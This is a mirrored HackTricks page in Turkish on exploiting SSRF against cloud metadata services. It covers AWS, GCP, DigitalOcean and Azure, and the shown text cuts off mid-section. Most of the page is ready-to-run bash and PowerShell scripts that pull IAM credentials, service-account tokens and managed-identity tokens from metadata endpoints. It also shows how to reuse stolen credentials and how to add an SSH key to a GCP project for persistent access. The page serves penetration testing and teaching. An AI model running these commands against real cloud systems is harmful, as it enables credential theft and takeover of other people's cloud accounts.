mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
613 lines
32 KiB
Markdown
613 lines
32 KiB
Markdown
# Cloud SSRF
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## AWS
|
||
|
||
### AWS EC2 ortamında SSRF'yi kötüye kullanma
|
||
|
||
**Metadata** uç noktası, herhangi bir EC2 makinesinin içinden erişilebilir ve ilginç bilgiler sunar. URL'de erişilebilir: `http://169.254.169.254` ([metadata hakkında bilgi burada](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
||
|
||
**Metadata** uç noktasının **2 versiyonu** vardır. **İlk** versiyon, uç noktaya **GET** istekleri ile **erişime** izin verir (bu nedenle herhangi bir **SSRF bunu kötüye kullanabilir**). **Versiyon 2** için, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), bir **token** istemek için **PUT** isteği göndermeniz ve ardından bu token'ı başka bir HTTP başlığı ile metadata'ya erişmek için kullanmanız gerekir (bu nedenle **kötüye kullanmak daha karmaşıktır**).
|
||
|
||
> [!CAUTION]
|
||
> EC2 örneği IMDSv2'yi zorunlu kılıyorsa, [**belgelere göre**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT isteğinin yanıtı** **1'lik bir hop limiti** olacaktır, bu da EC2 örneği içindeki bir konteynerden EC2 metadata'sına erişimi imkansız hale getirir.
|
||
>
|
||
> Ayrıca, **IMDSv2**, **`X-Forwarded-For` başlığını içeren bir token almak için yapılan istekleri de engelleyecektir**. Bu, yanlış yapılandırılmış ters proxy'lerin buna erişimini önlemek içindir.
|
||
|
||
[Metadata uç noktaları hakkında bilgi bulabilirsiniz](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Aşağıdaki script ile bazı ilginç bilgiler elde edilmektedir:
|
||
```bash
|
||
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
|
||
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
|
||
URL="http://169.254.169.254/latest/meta-data"
|
||
|
||
aws_req=""
|
||
if [ "$(command -v curl)" ]; then
|
||
aws_req="curl -s -f -H '$HEADER'"
|
||
elif [ "$(command -v wget)" ]; then
|
||
aws_req="wget -q -O - -H '$HEADER'"
|
||
else
|
||
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
||
fi
|
||
|
||
printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
|
||
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
|
||
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
|
||
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
|
||
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
|
||
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
|
||
|
||
echo ""
|
||
echo "Account Info"
|
||
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
|
||
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""
|
||
|
||
echo ""
|
||
echo "Network Info"
|
||
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
|
||
echo "Mac: $mac"
|
||
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
|
||
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
|
||
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
|
||
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
|
||
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
|
||
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
|
||
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
|
||
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
|
||
echo ""
|
||
done
|
||
|
||
echo ""
|
||
echo "IAM Role"
|
||
eval $aws_req "$URL/iam/info"
|
||
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
|
||
echo "Role: $role"
|
||
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
|
||
echo ""
|
||
done
|
||
|
||
echo ""
|
||
echo "User Data"
|
||
# Search hardcoded credentials
|
||
eval $aws_req "http://169.254.169.254/latest/user-data"
|
||
|
||
echo ""
|
||
echo "EC2 Security Credentials"
|
||
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
|
||
```
|
||
Bir **kamuya açık IAM kimlik bilgileri** örneğini ziyaret edebilirsiniz: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
||
|
||
Ayrıca kamuya açık **EC2 güvenlik kimlik bilgilerini** kontrol edebilirsiniz: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||
|
||
Daha sonra **bu kimlik bilgilerini alıp AWS CLI ile kullanabilirsiniz**. Bu, **o rolün izin verdiği her şeyi** yapmanıza olanak tanır.
|
||
|
||
Yeni kimlik bilgilerini kullanmak için, aşağıdaki gibi yeni bir AWS profili oluşturmanız gerekecek:
|
||
```
|
||
[profilename]
|
||
aws_access_key_id = ASIA6GG71[...]
|
||
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
|
||
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
|
||
```
|
||
Dikkat edin, **aws_session_token**, profilin çalışması için vazgeçilmezdir.
|
||
|
||
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) keşfedilen kimlik bilgileri ile ayrıcalıklarınızı öğrenmek ve ayrıcalıkları artırmaya çalışmak için kullanılabilir.
|
||
|
||
### AWS ECS (Konteyner Servisi) kimlik bilgileri üzerindeki SSRF
|
||
|
||
**ECS**, kendi küme yönetim altyapınızı ölçeklendirmeden bir uygulama çalıştırabileceğiniz EC2 örneklerinin mantıksal bir grubudur çünkü ECS bunu sizin için yönetir. **ECS**'de çalışan bir hizmeti ele geçirmeyi başarırsanız, **metadata uç noktaları değişir**.
|
||
|
||
_**http://169.254.170.2/v2/credentials/\<GUID>**_ adresine erişirseniz, ECS makinesinin kimlik bilgilerini bulacaksınız. Ancak önce **\<GUID>**'yi bulmanız gerekiyor. \<GUID>’yi bulmak için makine içindeki **environ** değişkeni **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI**'yi okumanız gerekiyor.\
|
||
Bunu `file:///proc/self/environ` üzerinde bir **Path Traversal** istismar ederek okuyabilirsiniz.\
|
||
Bahsedilen http adresi size **AccessKey, SecretKey ve token**'ı vermelidir.
|
||
```bash
|
||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||
```
|
||
> [!TIP]
|
||
> **Bazı durumlarda** konteynerden **EC2 metadata instance**'ına erişebileceğinizi unutmayın (önceki bölümde belirtilen IMDSv2 TTL sınırlamalarını kontrol edin). Bu senaryolarda konteynerden hem konteyner IAM rolüne hem de EC2 IAM rolüne erişebilirsiniz.
|
||
|
||
### AWS Lambda için SSRF
|
||
|
||
Bu durumda **kimlik bilgileri env değişkenlerinde** saklanmaktadır. Bu nedenle, onlara erişmek için **`file:///proc/self/environ`** gibi bir şeye erişmeniz gerekir.
|
||
|
||
**İlginç env değişkenlerinin** **isimleri** şunlardır:
|
||
|
||
- `AWS_SESSION_TOKEN`
|
||
- `AWS_SECRET_ACCESS_KEY`
|
||
- `AWS_ACCES_KEY_ID`
|
||
|
||
Ayrıca, IAM kimlik bilgilerine ek olarak, Lambda fonksiyonları **başlatıldığında fonksiyona iletilen olay verilerine** de sahiptir. Bu veriler, [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) aracılığıyla fonksiyona sunulur ve **hassas** **bilgiler** (örneğin **stageVariables** içinde) içerebilir. IAM kimlik bilgilerinin aksine, bu verilere standart SSRF üzerinden **`http://localhost:9001/2018-06-01/runtime/invocation/next`** adresinden erişilebilir.
|
||
|
||
> [!WARNING]
|
||
> **Lambda kimlik bilgileri** env değişkenlerinin içindedir. Bu nedenle, lambda kodunun **stack trace**'i env değişkenlerini yazdırıyorsa, uygulamada bir hata provok ederek **onları dışarı sızdırmak** mümkündür.
|
||
|
||
### AWS Elastic Beanstalk için SSRF URL'si
|
||
|
||
`accountId` ve `region`'ı API'den alıyoruz.
|
||
```
|
||
http://169.254.169.254/latest/dynamic/instance-identity/document
|
||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||
```
|
||
Daha sonra API'den `AccessKeyId`, `SecretAccessKey` ve `Token`'ı alırız.
|
||
```
|
||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||
```
|
||
 
|
||
|
||
Sonra kimlik bilgilerini `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/` ile kullanıyoruz.
|
||
|
||
## GCP
|
||
|
||
[**Metadata uç noktaları hakkında belgeleri buradan bulabilirsiniz**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).
|
||
|
||
### Google Cloud için SSRF URL'si
|
||
|
||
**`Metadata-Flavor: Google`** HTTP başlığını gerektirir ve aşağıdaki URL'lerle metadata uç noktasına erişebilirsiniz:
|
||
|
||
- [http://169.254.169.254](http://169.254.169.254)
|
||
- [http://metadata.google.internal](http://metadata.google.internal)
|
||
- [http://metadata](http://metadata)
|
||
|
||
Bilgi çıkarmak için ilginç uç noktalar:
|
||
```bash
|
||
# /project
|
||
# Project name and number
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
|
||
# Project attributes
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
|
||
|
||
# /oslogin
|
||
# users
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
|
||
# groups
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
|
||
# security-keys
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
|
||
# authorize
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize
|
||
|
||
# /instance
|
||
# Description
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
|
||
# Hostname
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
|
||
# ID
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
|
||
# Image
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
|
||
# Machine Type
|
||
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
|
||
# Name
|
||
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
|
||
# Tags
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
|
||
# Zone
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
|
||
# User data
|
||
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
|
||
# Network Interfaces
|
||
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
|
||
echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
|
||
echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
|
||
echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
|
||
echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
|
||
echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
|
||
echo " ============== "
|
||
done
|
||
# Service Accounts
|
||
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
|
||
echo " Name: $sa"
|
||
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
|
||
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
|
||
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
|
||
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
|
||
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
|
||
echo " ============== "
|
||
done
|
||
# K8s Attributtes
|
||
## Cluster location
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
|
||
## Cluster name
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
|
||
## Os-login enabled
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
|
||
## Kube-env
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
|
||
## Kube-labels
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
|
||
## Kubeconfig
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig
|
||
|
||
# All custom project attributes
|
||
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
|
||
-H "Metadata-Flavor: Google"
|
||
|
||
# All custom project attributes instance attributes
|
||
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
|
||
-H "Metadata-Flavor: Google"
|
||
```
|
||
Beta şu anda bir başlık gerektirmiyor (teşekkürler Mathias Karlsson @avlidienbrunn)
|
||
```
|
||
http://metadata.google.internal/computeMetadata/v1beta1/
|
||
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
||
```
|
||
> [!CAUTION]
|
||
> **Sızdırılan hizmet hesabı jetonunu kullanmak için** şunları yapabilirsiniz:
|
||
>
|
||
> ```bash
|
||
> # Çevresel değişkenler aracılığıyla
|
||
> export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
|
||
> gcloud projects list
|
||
>
|
||
> # Kurulum aracılığıyla
|
||
> echo "<token>" > /some/path/to/token
|
||
> gcloud config set auth/access_token_file /some/path/to/token
|
||
> gcloud projects list
|
||
> gcloud config unset auth/access_token_file
|
||
> ```
|
||
|
||
### Bir SSH anahtarı ekleyin
|
||
|
||
Jetonu çıkarın
|
||
```
|
||
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
|
||
```
|
||
Tokenun kapsamını kontrol edin (önceki çıktıyla veya aşağıdakini çalıştırarak)
|
||
```bash
|
||
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
|
||
"issued_to": "101302079XXXXX",
|
||
"audience": "10130207XXXXX",
|
||
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
|
||
"expires_in": 2443,
|
||
"access_type": "offline"
|
||
}
|
||
```
|
||
Şimdi SSH anahtarını gönder.
|
||
```bash
|
||
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
|
||
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
|
||
-H "Content-Type: application/json"
|
||
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
|
||
```
|
||
### Cloud Functions
|
||
|
||
Metadata uç noktası, VM'lerdeki gibi çalışır ancak bazı uç noktalar olmadan:
|
||
```bash
|
||
# /project
|
||
# Project name and number
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
|
||
|
||
# /instance
|
||
# ID
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
|
||
# Zone
|
||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
|
||
# Auto MTLS config
|
||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
|
||
# Service Accounts
|
||
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
|
||
echo " Name: $sa"
|
||
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
|
||
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
|
||
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
|
||
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
|
||
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
|
||
echo " ============== "
|
||
done
|
||
```
|
||
## Digital Ocean
|
||
|
||
> [!WARNING]
|
||
> AWS Rolleri veya GCP hizmet hesabı gibi şeyler yoktur, bu yüzden metadata bot kimlik bilgilerini bulmayı beklemeyin.
|
||
|
||
Dokümantasyon [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/) adresinde mevcuttur.
|
||
```
|
||
curl http://169.254.169.254/metadata/v1/id
|
||
http://169.254.169.254/metadata/v1.json
|
||
http://169.254.169.254/metadata/v1/
|
||
http://169.254.169.254/metadata/v1/id
|
||
http://169.254.169.254/metadata/v1/user-data
|
||
http://169.254.169.254/metadata/v1/hostname
|
||
http://169.254.169.254/metadata/v1/region
|
||
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
|
||
curl http://169.254.169.254/metadata/v1.json | jq
|
||
```
|
||
## Azure
|
||
|
||
### Azure VM
|
||
|
||
[**Docs** burada](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
|
||
|
||
- **Şu** başlığı içermelidir: `Metadata: true`
|
||
- **X-Forwarded-For** başlığını **içermemelidir**
|
||
|
||
> [!TIP]
|
||
> Bir Azure VM, 1 sistem yönetilen kimliği ve birkaç kullanıcı yönetilen kimliği ile ilişkilendirilebilir. Bu, temelde bir VM'ye bağlı olan **tüm yönetilen kimlikleri taklit edebileceğiniz** anlamına gelir.
|
||
>
|
||
> Metadata uç noktasına erişim belirteci talep ederken, varsayılan olarak metadata servisi, herhangi bir sistem atanmış yönetilen kimlik varsa **sistem atanmış yönetilen kimliği** kullanarak belirteci oluşturur. Eğer sadece **BİR kullanıcı atanmış yönetilen kimlik** varsa, bu varsayılan olarak kullanılacaktır. Ancak, eğer sistem atanmış yönetilen kimlik yoksa ve **birden fazla kullanıcı atanmış yönetilen kimlik** varsa, metadata servisi, birden fazla yönetilen kimlik olduğunu belirten bir hata döndürecektir ve **hangi kimliği kullanacağınızı belirtmeniz gerekecektir**.
|
||
>
|
||
> Ne yazık ki, bir VM'nin bağlı olduğu tüm MI'leri gösteren herhangi bir metadata uç noktası bulamadım, bu nedenle bir Red Team perspektifinden bir VM'ye atanan tüm yönetilen kimlikleri bulmak zor bir görev olabilir.
|
||
>
|
||
> Bu nedenle, bağlı tüm MI'leri bulmak için şunları yapabilirsiniz:
|
||
>
|
||
> - **az cli ile bağlı kimlikleri alın** (eğer Azure kiracısında bir ilkeyi zaten ele geçirdiyseniz)
|
||
>
|
||
> ```bash
|
||
> az vm identity show \
|
||
> --resource-group <rsc-group> \
|
||
> --name <vm-name>
|
||
> ```
|
||
>
|
||
> - Metadata'daki varsayılan bağlı MI'yi kullanarak **bağlı kimlikleri** alın:
|
||
>
|
||
> ```bash
|
||
> export API_VERSION="2021-12-13"
|
||
>
|
||
> # Varsayılan MI'den belirteç alın
|
||
> export TOKEN=$(curl -s -H "Metadata:true" \
|
||
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
|
||
> | jq -r '.access_token')
|
||
>
|
||
> # Gerekli detayları alın
|
||
> export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
|
||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
|
||
> export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
|
||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
|
||
> export VM_NAME=$(curl -s -H "Metadata:true" \
|
||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
|
||
>
|
||
> # Bağlı MIs'leri almaya çalışın
|
||
> curl -s -H "Authorization: Bearer $TOKEN" \
|
||
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
|
||
> ```
|
||
>
|
||
> - Kiracıda tanımlı **tüm** yönetilen kimlikleri alın ve VM'ye bağlı olup olmadığını görmek için **brute force** yapın:
|
||
>
|
||
> ```bash
|
||
> az identity list
|
||
> ```
|
||
|
||
> [!CAUTION]
|
||
> Belirteç taleplerinde, kullanmak istediğiniz yönetilen kimliği belirtmek için `object_id`, `client_id` veya `msi_res_id` parametrelerinden herhangi birini kullanın ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Hiçbiri yoksa, **varsayılan MI kullanılacaktır**.
|
||
|
||
{{#tabs}}
|
||
{{#tab name="Bash"}}
|
||
```bash
|
||
HEADER="Metadata:true"
|
||
URL="http://169.254.169.254/metadata"
|
||
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
|
||
|
||
echo "Instance details"
|
||
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"
|
||
|
||
echo "Load Balancer details"
|
||
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"
|
||
|
||
echo "Management Token"
|
||
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"
|
||
|
||
echo "Graph token"
|
||
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"
|
||
|
||
echo "Vault token"
|
||
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"
|
||
|
||
echo "Storage token"
|
||
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
|
||
```
|
||
{{#endtab}}
|
||
|
||
{{#tab name="PS"}}
|
||
```bash
|
||
# Powershell
|
||
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
|
||
## User data
|
||
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
|
||
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))
|
||
|
||
## Get management token
|
||
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/" -Headers @{"Metadata"="true"}).access_token
|
||
|
||
## Get graph token
|
||
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://graph.microsoft.com/" -Headers @{"Metadata"="true"}).access_token
|
||
|
||
## Get vault token
|
||
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://vault.azure.net/" -Headers @{"Metadata"="true"}).access_token
|
||
|
||
## Get storage token
|
||
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://storage.azure.com/" -Headers @{"Metadata"="true"}).access_token
|
||
|
||
|
||
# More Paths
|
||
/metadata/instance?api-version=2017-04-02
|
||
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
|
||
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
|
||
```
|
||
{{#endtab}}
|
||
{{#endtabs}}
|
||
|
||
> [!WARNING]
|
||
> **`http://169.254.169.254/metadata/v1/instanceinfo` uç noktasının `Metadata: True` başlığını gerektirmediğini unutmayın**; bu, bu başlığı ekleyemediğiniz Azure'daki SSRF zafiyetlerinde etkiyi göstermek için harika.
|
||
|
||
### Azure Uygulama & Fonksiyon Hizmetleri ve Otomasyon Hesapları
|
||
|
||
**env**'den **`IDENTITY_HEADER`** ve **`IDENTITY_ENDPOINT`** değerlerini alabilirsiniz. Bu değerleri, metadata sunucusuyla iletişim kurmak için bir token toplamak için kullanabilirsiniz.
|
||
|
||
Çoğu zaman, bu kaynaklardan biri için bir token almak istersiniz:
|
||
|
||
- [https://storage.azure.com](https://storage.azure.com/)
|
||
- [https://vault.azure.net](https://vault.azure.net/)
|
||
- [https://graph.microsoft.com](https://graph.microsoft.com/)
|
||
- [https://management.azure.com](https://management.azure.com/)
|
||
|
||
> [!CAUTION]
|
||
